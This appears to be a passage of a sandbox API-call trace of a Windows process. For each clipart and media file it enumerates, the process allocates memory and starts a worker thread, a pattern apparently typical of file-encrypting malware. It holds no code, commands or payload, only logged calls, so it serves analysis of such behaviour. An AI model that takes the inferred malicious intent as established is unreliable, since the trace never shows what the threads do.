	[0192.520] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1
	[0192.520] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1088
	[0192.523] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.523] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1
	[0192.523] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108c
	[0192.526] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.526] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1
	[0192.526] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1090
	[0192.529] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.530] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1
	[0192.530] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1094
	[0192.532] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.532] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1
	[0192.533] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1098
	[0192.539] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.540] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1
	[0192.540] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x109c
	[0192.543] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.544] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1
	[0192.544] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a0
	[0192.547] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.547] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1
	[0192.550] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a4
	[0192.557] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.558] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1
	[0192.558] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a8
	[0192.696] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.697] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1
	[0192.697] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac
	[0192.699] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.699] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1
	[0192.700] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0
	[0192.703] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.703] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1
	[0192.703] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ac
	[0192.706] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.706] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1
	[0192.706] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b0
	[0192.709] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.710] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1
	[0192.710] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b4
	[0192.713] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.713] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1
	[0192.713] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b8
	[0192.716] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.716] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1
	[0192.717] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10bc
	[0192.719] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.720] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1
	[0192.720] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c0
	[0192.723] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.723] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1
	[0192.723] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c4
	[0192.726] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.726] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1
	[0192.726] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c8
	[0192.862] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.863] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1
	[0192.863] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10cc
	[0192.866] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.866] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1
	[0192.866] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d0
	[0192.869] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.870] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1
	[0192.870] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d4
	[0192.872] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.873] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1
	[0192.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d8
	[0192.876] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.876] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1
	[0192.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10dc
	[0192.879] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.880] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1
	[0192.880] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e0
	[0192.882] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.883] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1
	[0192.883] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e4
	[0192.886] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.887] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1
	[0192.887] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e8
	[0192.890] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
